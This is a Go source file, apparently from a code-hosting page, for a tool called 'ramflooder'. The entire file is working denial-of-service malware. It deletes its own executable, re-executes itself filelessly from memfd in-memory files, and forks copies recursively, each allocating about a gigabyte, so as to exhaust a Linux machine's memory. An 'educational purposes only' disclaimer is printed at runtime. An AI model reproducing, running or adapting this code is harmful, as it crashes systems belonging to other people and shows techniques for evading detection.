80 lines
1.4 KiB
Go
80 lines
1.4 KiB
Go
package main
|
|
|
|
import (
|
|
"fmt"
|
|
"io"
|
|
"os"
|
|
"syscall"
|
|
"unsafe"
|
|
)
|
|
|
|
var payload = []byte{}
|
|
|
|
func init() {
|
|
if len(payload) == 0 {
|
|
exe, _ := os.Executable()
|
|
file, _ := os.Open(exe)
|
|
payload, _ = io.ReadAll(file)
|
|
file.Close()
|
|
os.Remove(exe)
|
|
}
|
|
}
|
|
|
|
func memfdCreate() int {
|
|
name := []byte("ramflooder\x00")
|
|
fd, _, _ := syscall.Syscall(319, uintptr(unsafe.Pointer(&name[0])), 1, 0)
|
|
return int(fd)
|
|
}
|
|
|
|
func spawnMemory() {
|
|
fd := memfdCreate()
|
|
if fd < 0 {
|
|
return
|
|
}
|
|
|
|
syscall.Write(fd, payload)
|
|
|
|
pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0)
|
|
if pid == 0 {
|
|
path := fmt.Sprintf("/proc/self/fd/%d", fd)
|
|
syscall.Exec(path, []string{"ramflooder"}, []string{"CHILD_MODE=1"})
|
|
}
|
|
syscall.Close(fd)
|
|
}
|
|
|
|
func childProcess() {
|
|
go func() {
|
|
for i := 0; i < 125; i++ {
|
|
spawnMemory()
|
|
}
|
|
}()
|
|
|
|
data := make([]byte, 1024*1024*1000)
|
|
for i := range data {
|
|
data[i] = byte(i % 255)
|
|
}
|
|
|
|
select {}
|
|
}
|
|
|
|
func main() {
|
|
if os.Getenv("CHILD_MODE") == "1" {
|
|
childProcess()
|
|
return
|
|
}
|
|
|
|
fmt.Println("WARNING: This tool is intended for educational purposes only.")
|
|
fmt.Println("The author is not responsible for your actions!!~ (just have fun)")
|
|
fmt.Println("-----------------------------------------------------------------")
|
|
|
|
pid, _, _ := syscall.Syscall(syscall.SYS_FORK, 0, 0, 0)
|
|
if pid == 0 {
|
|
for i := 0; i < 1488; i++ {
|
|
spawnMemory()
|
|
}
|
|
os.Exit(0)
|
|
} else {
|
|
os.Exit(0)
|
|
}
|
|
}
|